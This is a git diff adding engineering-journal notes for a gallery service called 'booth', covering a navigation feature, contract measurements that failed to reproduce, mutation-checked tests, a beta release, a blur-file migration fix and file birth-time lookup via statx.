All four closed, and every one paid — see
|
||||
[[2026-09-22-three-cold-panels-on-one-unit]]. Contract review
|
||||
`01M35BWCJ806MT75NA630Y4WFH`, code review `01M35CK8YKEKMV7T15JXEF6A8N`, bug hunt
|
||||
`01M35CRRK2RTVWWF1BN09AFQG3`, one consolidated reply sent to heid at
|
||||
`01M35FY8QZTB9E5VR4WXDSBGEV`.
|
||||
|
||||
## Live evidence, unplanned
|
||||
|
||||
The sweeper ran mid-session: **23 booths → 19**, and dead board rows went
|
||||
**156 → 161 in about fifteen minutes**. The defect compounding in real time
|
||||
while the fix was being built — which is the argument for U6-before-U7 playing
|
||||
out on its own.
|
||||
@@ -0,0 +1,77 @@
|
||||
# U7 landed — and the number that justified it did not reproduce
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The last v1 unit is in.** The three ratified components landed at `a306e2d`;
|
||||
the fourth — filename-prefix groups replacing subfolder sections — landed here,
|
||||
with `test_no_group_rail_is_shipped_yet` deleted in the same commit that built
|
||||
what it guarded against. **All seven v1 capabilities are now landed.**
|
||||
|
||||
## The part worth remembering: the contract's own measurement was wrong
|
||||
|
||||
The contract stated a rule and, beside it, a table of what that rule produced.
|
||||
**They are not the same computation.** Implementing the stated rule and running
|
||||
it against the live set:
|
||||
|
||||
| booth | contract claimed | stated rule actually gives |
|
||||
|---|---|---|
|
||||
| `sindra-corpus-v1` | 16 | 16 ✓ |
|
||||
| `sindra-sfw-pool` | 10 | 10 ✓ |
|
||||
| `sindra-nude-pool` | 12 | 12 ✓ |
|
||||
| **`sindra-bakeoff`** | **5** | **24** |
|
||||
| **`sindra`** | **1 (degenerate)** | **27** |
|
||||
|
||||
Three of five matched, which is what made it survive review. The two that did
|
||||
not were **the two load-bearing rows**: bakeoff was the "this pays" evidence and
|
||||
sindra was the degenerate case INV-3 was written for.
|
||||
|
||||
**The contract contradicts itself in plain sight and nobody caught it.** Its own
|
||||
worked example says `00-sheet-c1-market-noon.png` has no trailing digit run and
|
||||
therefore groups as its whole stem — which makes eight of bakeoff's forty images
|
||||
eight singleton groups, so 5 was never reachable. And the numbers ARE
|
||||
reproducible, just not by one rule: **first-two-segments gives exactly 5 on
|
||||
bakeoff; first-segment gives exactly 1 on sindra.** The table was assembled from
|
||||
two different heuristics and written up as one.
|
||||
|
||||
⚠ **A cold contract-review panel cannot catch this, and did not.** The panel
|
||||
reads the artifact; the artifact is internally plausible. Only running the
|
||||
stated rule against the live data falsifies it. **A measurement inside a
|
||||
contract is not reviewed by reviewing the contract** — it is reviewed by
|
||||
re-running it, and that is now a thing to do before implementing any contract
|
||||
whose scope rests on a number.
|
||||
|
||||
## The degeneracy it guarded was the wrong one
|
||||
|
||||
INV-3 guarded **one group for everything** ("a rail with one entry cannot
|
||||
navigate"). The live set's actual failure is the opposite: **one group per
|
||||
item** — `pewpew-ui-brief` 23 groups for 34 items, `dfa-concepts` 13 for 20. The
|
||||
contract as written would have shipped a 23-row rail that is a second copy of
|
||||
the grid. INV-3 now guards both, with a live specimen each:
|
||||
|
||||
- **(a)** `sc-iso-spread` — `DSC0001.jpg`–`DSC0006.jpg`, one group of six.
|
||||
- **(b)** `pewpew-ui-brief` — 23 groups, 19 of them singletons.
|
||||
|
||||
The shipped predicate, one line: **two or more groups, and the middle group
|
||||
holding more than one item.** It gets all 17 booths right.
|
||||
|
||||
## The shipped rule, and why it differs
|
||||
|
||||
`strip ONE trailing run of digits` keys on the END of the stem, which is where
|
||||
the *instance number* lives — so it splits `m-c1-market-noon-9401` from
|
||||
`m-c2-rain-street-9403`, which are the same family. The shipped rule keys on the
|
||||
**first separator-delimited segment**, where the family lives, destemming only
|
||||
when the stem has no separator at all (so `ac01` → `ac`, but `v30-seed8302` and
|
||||
`v35-seed8302` stay apart — that split is the axis `muse-clothed-repro` is
|
||||
about).
|
||||
|
||||
Live result: `sindra-corpus-v1` renders `ac 12 · bu 10 · cu 12 · fb 12 · … ·
|
||||
wu 8` over 66 images. `sindra-bakeoff` renders `00 · README · m · r`, which are
|
||||
its three real families.
|
||||
|
||||
## Also true, and easy to trip on
|
||||
|
||||
**`miranda-is` and `sindra-voice-1` group beautifully and get no rail** — both
|
||||
carry `index.html`, so they take the verbatim path and have no grid at all. A
|
||||
measurement taken with `booth_items` alone predicts a rail for them; the route
|
||||
does not. Measure the RENDERED surface, not the resolver, when the question is
|
||||
"what will the operator see".
|
||||
@@ -0,0 +1,70 @@
|
||||
# U7 re-measured before scoping — sections are dead, filename prefixes are not
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Pre-work, not the unit.** The standing instruction is "re-count the booths
|
||||
before scoping U7". Done, on the live set (19 booths). No U7 code, no U7
|
||||
contract — this exists so the scope call is a thirty-second read.
|
||||
|
||||
## The set as it actually is
|
||||
|
||||
| booth | items | images | subdirs | shape |
|
||||
|---|---|---|---|---|
|
||||
| `miranda-is` | 92 | 0 | 0 | report |
|
||||
| `sindra-bakeoff` | 81 | 40 | **0** | gallery |
|
||||
| `sindra-corpus-v1` | 66 | 66 | **0** | gallery |
|
||||
| `sindra` | 61 | 30 | **0** | gallery |
|
||||
| `sindra-sfw-pool` | 59 | 59 | **0** | gallery |
|
||||
| `sindra-nude-pool` | 42 | 42 | **0** | gallery |
|
||||
| `pewpew-ui-brief` | 34 | 1 | 7 | **report** |
|
||||
| `dfa-concepts` | 21 | 14 | 1 | **report** |
|
||||
| …11 more | ≤19 | | 0 | |
|
||||
|
||||
## Finding 1 — sections are worth ZERO, and this is now measured twice
|
||||
|
||||
**Not one gallery booth has a subdirectory.** Zero of eleven. The only two
|
||||
booths with subfolders are both **reports**, the job where grid navigation
|
||||
matters least, and `pewpew-ui-brief`'s seven subdirs hold one image.
|
||||
|
||||
The IA doc calls sections "most of the navigation fix". On this set they are
|
||||
none of it. Cutting `Item.section` rendering from U7 costs nothing measurable.
|
||||
(`Item.section` already exists from U1 and stays — this is about whether U7
|
||||
builds a section RAIL, not about deleting a field.)
|
||||
|
||||
## Finding 2 — the grouping signal is in the FILENAME, and it pays
|
||||
|
||||
Tested two heuristics against every large gallery. Strip a trailing digit-run
|
||||
from the stem and group on what remains:
|
||||
|
||||
| booth | images | groups | verdict |
|
||||
|---|---|---|---|
|
||||
| `sindra-corpus-v1` | 66 | **16** | useful |
|
||||
| `sindra-nude-pool` | 42 | **12** | useful |
|
||||
| `sindra-sfw-pool` | 59 | **10** | useful |
|
||||
| `sindra-bakeoff` | 40 | **5** | useful |
|
||||
| `sindra` | 30 | **1** | **degenerates** |
|
||||
|
||||
Specimens: `00-sheet-c1-market-noon.png`, `ac01.png`, `a01.png`,
|
||||
`flag-rear.png`. The competing heuristic — split on the second hyphen — is
|
||||
useless everywhere (59 "groups" from 59 files).
|
||||
|
||||
So a prefix heuristic pays on **4 of 5** large galleries and collapses to one
|
||||
group on the fifth. **That is a filter/grouping affordance, not a section
|
||||
rail**, and it must degrade gracefully to "one group" rather than render a
|
||||
useless single-section rail.
|
||||
|
||||
## What this implies for the scope, stated as a recommendation not a decision
|
||||
|
||||
U7 as written is four things: sections, a sticky rail, filters, grid keyboard.
|
||||
The measurement says **drop sections, keep the other three**, and consider
|
||||
prefix-grouping as the thing sections were supposed to be — with a stated
|
||||
degenerate case.
|
||||
|
||||
⚠ The sizing case has also changed: the unit was scoped against 270-item
|
||||
booths and **the largest gallery is now 81 items / 40 images**. Everything
|
||||
about virtualization stays parked ([[2026-09-21-ia-and-v1-gate-landed]] names
|
||||
it); at 66 images a lazy grid is fine and measuring it first is the rule.
|
||||
|
||||
**The booth set churned again during this session** — `sindra-sfw-pool` (59
|
||||
images) appeared and the `pancake-*` set went. Re-count again before writing
|
||||
the contract; do not trust this table either.
|
||||
@@ -0,0 +1,56 @@
|
||||
# U7 is three-quarters built and blocked on one word
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The last v1 unit, decomposed by what the operator has already ratified versus
|
||||
what he has not.** ROADMAP's U7 row names four components. Three were already
|
||||
approved there and are **built, tested and deployed** (`a306e2d`). The fourth is
|
||||
a scope departure and is **deliberately not built**.
|
||||
|
||||
| component | ROADMAP | state |
|
||||
|---|---|---|
|
||||
| sticky rail | ratified | **landed** — totals + per-filter counts |
|
||||
| filters | ratified | **landed** — all / flagged / annotated / unanswered |
|
||||
| grid keyboard | ratified | **landed** — `←/→ f n Enter Esc`, bound only when a grid exists |
|
||||
| **sections → filename groups** | **departs** | **NOT BUILT** |
|
||||
|
||||
`tests/test_navigation.py::test_no_group_rail_is_shipped_yet` fails the moment
|
||||
somebody builds the group rail anyway, so the departure cannot arrive by
|
||||
accident while the ruling is outstanding.
|
||||
|
||||
## The question, and why it is his
|
||||
|
||||
**Drop subfolder sections for filename-prefix groups — yes or no?**
|
||||
|
||||
Measured (see [[2026-09-22-u7-remeasured-before-scoping]]): **zero of eleven
|
||||
gallery booths have a subdirectory**, so sections buy nothing; stripping a
|
||||
trailing digit-run from the stem yields **5–16 sensible groups on four of the
|
||||
five large galleries** and degenerates to one group on the fifth. The
|
||||
replacement is better on the evidence — but swapping a ratified component for
|
||||
an unratified one is scope direction, not implementation.
|
||||
|
||||
Contract at `docs/contracts/u7_navigation.contract.md`, status
|
||||
`PARTIALLY LANDED`, with the departure named as the operator's call.
|
||||
|
||||
## Decisions taken under stated assumption, both cheap to reverse
|
||||
|
||||
- **`unanswered` means HAS AN OPEN PICK** — the U4 hold predicate, which already
|
||||
exists. The other reading ("has no mark at all") is a genuinely different
|
||||
question and stays an open question on the contract.
|
||||
- **Filters are LINKS, not scripts**, resolved server-side, so the gallery keeps
|
||||
working with JavaScript off. U3 cost the verbatim path its no-JS operation and
|
||||
said so plainly; the gallery is the surface the operator actually reviews on,
|
||||
and this unit does not repeat it there.
|
||||
|
||||
## The vacuous falsifier, written an hour after the entry about them
|
||||
|
||||
`test_filtering_never_reorders` compared each filtered view against the
|
||||
**unfiltered response** — so a mutation reversing the order reversed both sides
|
||||
and it **stayed green under the exact change it forbade.** Caught only by
|
||||
running the mutation rather than trusting the assertion.
|
||||
|
||||
Rewritten against an independent truth: U1 INV-3 says the order IS `sorted(rel)`,
|
||||
so each view must be sorted, full stop, with no reference to another response.
|
||||
Re-verified RED. **Every new falsifier in this session was mutation-checked
|
||||
after this**, and that is the practice to keep — see
|
||||
[[2026-09-22-vacuous-falsifiers]].
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
# v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**All seven v1 units landed, so the operator cut `1.0.0b1`** — the first release
|
||||
of the 1.x train, deliberately a BETA rather than a final. Tag `v1.0.0b1`,
|
||||
annotated (milestone), commit `3126dec`.
|
||||
|
||||
**The beta is the right vehicle and not a hedge.** The canonical policy defines
|
||||
`-beta.N` as feature-complete, external testing, no new features, focus on bugs
|
||||
— which is exactly this state, with a cross-frontier bug-hunt panel outstanding
|
||||
on U7's diff. This repo already paid for the alternative once:
|
||||
[[2026-09-21-v020-tagged-with-a-gate-in-flight]] — v0.2.0 was tagged AND
|
||||
announced while a panel was in flight, the panel found three defects in the
|
||||
just-released code, and v0.2.1 shipped within the hour. **A beta is the designed
|
||||
answer to that, not a workaround for it.**
|
||||
|
||||
## Version format, decided and worth not re-deriving
|
||||
|
||||
- `pyproject.toml` carries **`1.0.0b1`** — PEP 440, which is what the packaging
|
||||
tool normalizes `1.0.0-beta.1` to anyway.
|
||||
- The git tag is **`v1.0.0b1`**, matching the artifact string exactly rather
|
||||
than carrying a SemVer spelling the wheel does not. One string, no translation
|
||||
layer.
|
||||
- Ordering verified: `0.6.1 < 1.0.0b1 < 1.0.0`.
|
||||
|
||||
## ⚠ The version was TWO copies, and the obvious fix was the wrong one
|
||||
|
||||
`booth.__version__` was the literal `"0.1.0"` and had been wrong through six
|
||||
releases. Nothing reads it, which is why nobody noticed.
|
||||
|
||||
**The reflex fix — derive it from `importlib.metadata` — is WRONG HERE, and
|
||||
measurably so.** This repo has no build step and no install step: `booth.service`
|
||||
runs uvicorn with `WorkingDirectory` set to the tree, so the running code IS
|
||||
this checkout. Installed metadata describes a different artifact. The venv was
|
||||
carrying a vestigial `booth-0.3.0.dist-info` **with no package directory behind
|
||||
it**, so `importlib.metadata.version("booth")` returned `0.3.0` for a tree at
|
||||
`1.0.0b1` — confidently wrong, and varying by environment, which is worse than
|
||||
a literal that at least fails the same way everywhere.
|
||||
|
||||
It now reads `pyproject.toml` via `tomllib`, with metadata as the fallback for
|
||||
the wheel case this repo does not have. **The test asserts the ABSENCE OF A
|
||||
LITERAL, not agreement with pyproject** — comparing the two would be circular
|
||||
and would prove only that the read works. The defeating change is hardcoding a
|
||||
number back in, and that is what is caught.
|
||||
|
||||
## ⚠ `booth/__init__.py` is a FOURTH stdlib-only module
|
||||
|
||||
`scripts/booth` imports `booth.links` / `booth.marks` / `booth.manifest` under
|
||||
the SYSTEM python3 with no venv — and every one of those executes the package
|
||||
root first. So a single third-party import in `__init__.py` breaks `booth ask`
|
||||
on every fleet host exactly as one in the documented three would, and **nothing
|
||||
asserted it.** `test_stdlib_only` now covers `__init__`; `tomllib` is stdlib and
|
||||
`requires-python` is `>=3.11`, so the pyproject read is safe there. Verified by
|
||||
running the real import chain under `/usr/bin/python3` 3.11.2 with no venv.
|
||||
|
||||
## Handoff sent
|
||||
|
||||
The SVOS design-system retrofit went to `design-dev` (althing thread
|
||||
`01M369321KNBPZ7FYDQGZG7AXP`) — the IA is ours and settled, the visual and
|
||||
interaction system is his. **ACCEPTED in-session within five minutes**; he
|
||||
declined a `/vor-ui` brief on the grounds that the IA doc, the landed templates
|
||||
and the seven constraints already are one, and a `/vor-ui` pass would cost the
|
||||
operator a serial Q&A to re-derive IA we had already measured. Agreed.
|
||||
|
||||
⚠ **A `postbox send` note is a POINT-IN-TIME SNAPSHOT, not a durable fact about
|
||||
a handle.** The send response said `design-dev: pull-only; last read
|
||||
2026-09-21T18:44Z`, and this file first recorded that as standing truth —
|
||||
including a "silence is not a decision" warning built on it. `postbox handles`
|
||||
says **`design-dev push reachable`**, and his reply landed in-session. Read the
|
||||
mode from `postbox handles` when it matters; never promote a send-time note into
|
||||
memory.
|
||||
@@ -0,0 +1,40 @@
|
||||
# Five of seven INV falsifiers did not falsify anything
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
The U4 contract carried seven invariants, each with a *Falsifiable:* line, and
|
||||
each had a test. **The code-review panel showed that five of the seven tests
|
||||
would still pass under a change that defeats the invariant they name.** Gróa's
|
||||
"per INV entry, what would still pass" section is the single most useful thing
|
||||
either panel produced on this unit.
|
||||
|
||||
| INV | what the test asserted | what still passed |
|
||||
|---|---|---|
|
||||
| 1 (no new arithmetic) | the clock moved after a view | special-casing `.viewed` inside `_newest_mtime` — the exact new arithmetic INV-1 forbids |
|
||||
| 3 (`is_held` is pure) | the right answer, once | `is_held` doing I/O, or `return True` unconditionally |
|
||||
| 4 (every surface says why) | a substring on `GET /` | dropping the line from the booth header, the marks page, or the board branch |
|
||||
| 5 (a view cannot fail a request) | `record_view` did not raise | a second `touch` outside the guard, 500ing all three routes |
|
||||
| 6 (unreadable marks hold) | the corrupt booth survived | a sweeper that deletes nothing at all (no doomed sibling in the fixture) |
|
||||
| 7 (machine reads do not hold) | `.viewed` was absent | a handler writing any other non-dot file, holding the booth open just as well |
|
||||
|
||||
**The shape of the error is the same every time: the test asserted the OUTCOME
|
||||
the author was thinking about, not the DISCRIMINATOR the invariant names.** A
|
||||
green test proved the happy path and nothing about the invariant. Writing the
|
||||
falsifiable line in the contract did not produce a falsifying test — it produced
|
||||
a test that *cited* one.
|
||||
|
||||
Fixed by rewriting each to fail under the change that defeats it: same-mtime
|
||||
equivalence with an arbitrary non-lock dotfile (plus a `.lock` that must NOT
|
||||
count); `is_held` called with marks belonging to a booth that does not exist on
|
||||
disk; one test per rendered surface, each rendering only its own; the three
|
||||
routes GET against a chmod'd booth; a doomed sibling; the AGE asserted rather
|
||||
than the marker. **The board-header pair was verified RED against the pre-fix
|
||||
template rather than assumed** — which is the step that makes "fixed, not
|
||||
amended" trustworthy.
|
||||
|
||||
**The method to keep: for each invariant, name a change that defeats it and ask
|
||||
whether the test goes red.** If you cannot name one, the invariant is not
|
||||
falsifiable yet. Regin and Kimi independently proposed this as a contract-time
|
||||
"vacuity pass"; heid rates this round the strongest evidence for it so far, and
|
||||
it is a `/heid*` skill proposal sitting with the operator, not a change to this
|
||||
repo.
|
||||
@@ -0,0 +1,70 @@
|
||||
# The blur round-trip, and the migration that recreated the bug it fixed
|
||||
|
||||
_2026-09-23 → 2026-09-24. Operator: "fix the blur." Commits `4cfbce5`,
|
||||
`c1f5543` (merged `6880ab3`), `8a78a9b`._
|
||||
|
||||
## The defect
|
||||
|
||||
design-dev's r2b bug-hunt found the `/blur` route stripping `f`, so the form for
|
||||
`" a.png"` blurred `"a.png"`. The route was only half of it: `.blurred` was one
|
||||
stripped rel per line, so NO writer could store a rel with edge whitespace or a
|
||||
newline. There were no live victims (6 legacy files, 42 rels, none with edge
|
||||
whitespace; 0 live filenames with edge whitespace), so it was latent.
|
||||
|
||||
## Round 1 (`4cfbce5`)
|
||||
|
||||
- JSON array (the `.seen` shape) through a new stdlib-only `booth/blur.py`, so
|
||||
the CLI and the service share one reader and one writer. The CLI had its own
|
||||
grep/printf line writer, and after the format change it would have appended a
|
||||
line to a JSON array.
|
||||
- `Item.blurred_self` resolved in `booth_items` from the same read as
|
||||
`blurred`, replacing build_gallery's second `read_blurred`. That was a
|
||||
two-reads-of-one-file seam (invariant 3).
|
||||
- Built in a git worktree, because `scripts/booth` imports from the deployment
|
||||
root LIVE: a half-built blur.py would have broken `booth blur` for every
|
||||
session mid-TDD.
|
||||
|
||||
## Round 2: heid bug-hunt (hulda, regin, kimi; groa timed out) → `c1f5543`
|
||||
|
||||
- **3/3: the migration recreated the bug.** JSON went into the OLD file name
|
||||
and the reader sniffed the format. A legacy file whose one line is an item
|
||||
named `["a.png"]` parses as JSON and blurs the neighbour. The docstring
|
||||
claimed that case was handled, and it wasn't. Fix: a NEW name,
|
||||
`.blurred.json`. The legacy `.blurred` is lines only, read only while
|
||||
`.blurred.json` is absent, and retired by the first write.
|
||||
- 2/3 + one: a planted directory 500'd the write path; the read path was
|
||||
hardened and the writer was not. Fix: the writer is judged by its reader (a
|
||||
postcondition), with BlurUnwritable answered as a 409.
|
||||
- hulda (execution-verified): a lone surrogate `"\ud800"` in planted JSON made
|
||||
every later write raise UnicodeEncodeError. Now dropped on read.
|
||||
- 2/3: the writer had no size cap, and the reader reads an oversized file as
|
||||
EMPTY. The writer now refuses first.
|
||||
- 2/3: the CLI's `*..*` refused `a..b.png`, which the route accepted. There's
|
||||
now one `check_rel` predicate for both, which also refuses an empty rel.
|
||||
- kimi: `booth blur` without its package printed a bare traceback. It now
|
||||
fails closed with exit 3, like `link`.
|
||||
- Declined: the Item positional-constructor break (booth_items is the only
|
||||
constructor, INV-1); the fdopen fd leak and the short read (not
|
||||
constructible on a local fs, the `.seen` shape); unreadable reads as
|
||||
revealed (blur is cosmetic, the `.seen` posture).
|
||||
|
||||
## Round 3: groa's late retry → `8a78a9b`
|
||||
|
||||
Its four bugs were the same four, already fixed. Its 0600 note ("a cross-uid
|
||||
reader sees nothing and replaces it") exposed the real gap: `set_blurred`
|
||||
built on `read_blurred`, the renderer's LENIENT reader, so an unreadable,
|
||||
oversized or malformed file became an empty set and was overwritten. That is
|
||||
the `.marks.json` wipe of 2026-09-21
|
||||
([[2026-09-21-tolerant-writer-over-tolerant-reader]]), repeated in a new module
|
||||
and live for one night. Fix: `_load` is one parse with two postures (strict
|
||||
for the writer, lenient for the renderer). It refuses only for a REGULAR file
|
||||
it cannot read, since a link, a directory or a FIFO holds no set to lose. The
|
||||
file is 0644 again.
|
||||
|
||||
## Mutation notes
|
||||
|
||||
- `blur_storage.toml` is 25/25.
|
||||
- One row was vacuous on its first run (`set() or X` is `X`).
|
||||
- Two open-flag rows went vacuous once `_load` lstat-checked for a regular
|
||||
file first. They're now proved by direct `_read_capped` tests, because they
|
||||
still close the lstat-to-open race.
|
||||
@@ -0,0 +1,42 @@
|
||||
# Creation dates, and three guesses wearing a fact's clothes
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
The operator asked for creation and update dates on booths. **Update** was
|
||||
already there — `landed_at`, the newest mtime among CONTENT excluding our own
|
||||
machinery. **Creation** had no honest source, and the interesting part is the
|
||||
three wrong answers.
|
||||
|
||||
## Only 18 of 30 booths could state a creation time
|
||||
|
||||
`.booth.json` carries a declared `created`, but it exists only for booths posted
|
||||
through the CLI since U5. Twelve live booths had nothing.
|
||||
|
||||
## ⚠ Every convenient substitute was a GUESS PRESENTED AS A FACT
|
||||
|
||||
- **Oldest content mtime** — wrong the moment an agent copies files with
|
||||
timestamps preserved (`cp -p`, `rsync -a`), which is common. It would report
|
||||
the SOURCE material's age as the booth's.
|
||||
- **Directory mtime** — that is "last thing added", i.e. `landed_at` under a
|
||||
second name. Two fields, one meaning, displayed as if they were different.
|
||||
- **Stamp a first-seen marker on read** — and this is the one worth flagging,
|
||||
because it is the same write-on-read shape that had *already* cost this
|
||||
service an hour that same day when the thumbnail cache aged the booth it
|
||||
cached ([[2026-09-23-the-cache-that-aged-the-thing-it-cached]]). A fix whose
|
||||
shape you just finished paying for is not a fix.
|
||||
|
||||
## The answer was a fact the disk already held
|
||||
|
||||
**ext4 records a real birth time.** CPython does not expose `st_birthtime` on
|
||||
Linux, but `statx(2)` does and glibc has wrapped it since 2.28, so
|
||||
`booth/birthtime.py` reads it through `ctypes`. Verified against `stat(1)` on
|
||||
live booths: **6 of 6 exact**, including every booth with no manifest.
|
||||
|
||||
One rule for all thirty, which is what invariant 6 asks of anything statable in
|
||||
a line. `None` when the filesystem cannot say (tmpfs, NFS, an old kernel), and
|
||||
**None renders as nothing** — a blank is the honest output when nobody knows,
|
||||
and better than a plausible number.
|
||||
|
||||
**The generalisable bit:** when a fact seems unavailable, check whether the
|
||||
system already records it before reaching for a proxy. Three plausible proxies
|
||||
were considered and one was nearly built; the real answer was a syscall away.
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user